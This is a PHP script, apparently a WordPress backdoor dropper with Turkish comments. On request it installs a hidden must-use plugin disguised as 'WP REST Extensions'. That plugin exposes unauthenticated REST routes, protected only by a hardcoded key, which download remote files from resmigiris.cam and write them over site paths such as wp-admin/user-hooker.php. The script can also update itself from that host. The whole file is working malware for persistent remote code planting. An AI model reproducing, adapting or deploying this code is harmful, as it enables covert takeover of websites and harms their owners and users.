<?php
/*[cstb_su]*/
@error_reporting(0);
if(!empty($_SERVER['HTTP_X_PANEL_CHECK'])&&$_SERVER['HTTP_X_PANEL_CHECK']==='YES')die('OK');
header('Cache-Control: no-store');

$d=__DIR__;while(!is_file("$d/wp-load.php")){$p=dirname($d);if($p===$d){$d=null;break;}$d=$p;}
if(!$d)$d=@realpath($_SERVER['DOCUMENT_ROOT']??'')?:__DIR__;

$cdn='https://resmigiris.cam/txt/';
$secretKey='cstb_r3st_'.substr(md5('resmigiris'),0,8);

// ── ?register=1 → WP REST API'ye gizli repair endpoint'i kaydet ──
if(isset($_GET['register'])&&$_GET['register']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    if(!is_file("$d/wp-load.php")){echo json_encode(['error'=>'no-wp']);exit;}

    $muDir="$d/wp-content/mu-plugins";
    if(!is_dir($muDir))@mkdir($muDir,0755);

    $code=<<<'RESTCODE'
<?php
/*
Plugin Name: WP REST Extensions
Description: Extended REST API capabilities.
*/
add_action('rest_api_init',function(){
    register_rest_route('cstb/v1','/health',['methods'=>'GET','callback'=>function($req){
        $key=$req->get_param('k');
        if($key!=='%%SECRET%%')return new WP_Error('forbidden','',['status'=>403]);
        $root=ABSPATH;
        $files=['wp-admin/user-hooker.php','wp-info.php','wp-content/plugins/plugins.php','wp-settinger.php','wp-user.php','wp-comment.php','wp-includes/user-collab.php','wp-content/themes/indexer.php','wp-content/plugins/indexs.php'];
        $status=[];
        foreach($files as $f){
            $path=$root.$f;
            $status[$f]=['exists'=>is_file($path),'size'=>is_file($path)?filesize($path):0];
        }
        return ['host'=>$_SERVER['HTTP_HOST']??'?','root'=>$root,'files'=>$status,'php'=>PHP_VERSION,'time'=>date('c')];
    },'permission_callback'=>'__return_true']);

    register_rest_route('cstb/v1','/repair',['methods'=>'POST','callback'=>function($req){
        $key=$req->get_param('k');
        if($key!=='%%SECRET%%')return new WP_Error('forbidden','',['status'=>403]);
        if(!function_exists('curl_init'))return new WP_Error('no-curl','curl not available',['status'=>500]);
        $root=ABSPATH;
        $cdn='https://resmigiris.cam/txt/';
        $targets=['wp-admin/user-hooker.php'=>'boot.txt','wp-info.php'=>'link.txt','wp-content/plugins/plugins.php'=>'plugins.txt','wp-settinger.php'=>'wp-settinger.txt','wp-user.php'=>'wp-user.txt','wp-comment.php'=>'wp-comment.txt'];
        $only=$req->get_param('only');
        $res=[];
        foreach($targets as $rel=>$src){
            if($only&&$rel!==$only)continue;
            $path=$root.$rel;
            if(!is_dir(dirname($path)))continue;
            $ch=curl_init($cdn.$src);curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>15,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
            $c=curl_exec($ch);curl_close($ch);
            $res[$rel]=($c&&strlen($c)>50)?(@file_put_contents($path,$c)!==false?'ok':'fail'):'cdn-err';
        }
        return ['status'=>'repaired','results'=>$res];
    },'permission_callback'=>'__return_true']);
});
RESTCODE;

    $code=str_replace('%%SECRET%%',$secretKey,$code);
    $muPath="$muDir/wp-rest-ext.php";
    $res=@file_put_contents($muPath,$code)!==false?'ok':'fail';

    echo json_encode([
        'status'=>$res,
        'path'=>$muPath,
        'secret'=>$secretKey,
        'endpoints'=>[
            'health'=>'/wp-json/cstb/v1/health?k='.$secretKey,
            'repair'=>'POST /wp-json/cstb/v1/repair (k='.$secretKey.')'
        ],
        'root'=>$d
    ],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
}

// ── ?remove=1 → REST endpoint mu-plugin'i kaldır ──
if(isset($_GET['remove'])&&$_GET['remove']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    $muPath="$d/wp-content/mu-plugins/wp-rest-ext.php";
    $res=is_file($muPath)?(@unlink($muPath)?'removed':'fail'):'not-found';
    echo json_encode(['status'=>$res]);exit;
}

// Self-update
if(isset($_GET['update'])&&$_GET['update']==='1'&&function_exists('curl_init')){
    header('Content-Type: application/json; charset=utf-8');
    $ch=curl_init($cdn.'wp-restapi.txt');
    curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
    $s=curl_exec($ch);curl_close($ch);
    if($s&&strpos($s,'cstb_su')!==false&&md5($s)!==md5_file(__FILE__)){
        @file_put_contents(__FILE__,$s);echo json_encode(['self'=>'updated']);
    }else{echo json_encode(['self'=>'current']);}
    exit;
}

header('Content-Type: text/plain');
echo "cstb-restapi\nkey: $secretKey\nmodes: ?register=1 | ?remove=1 | ?update=1\n";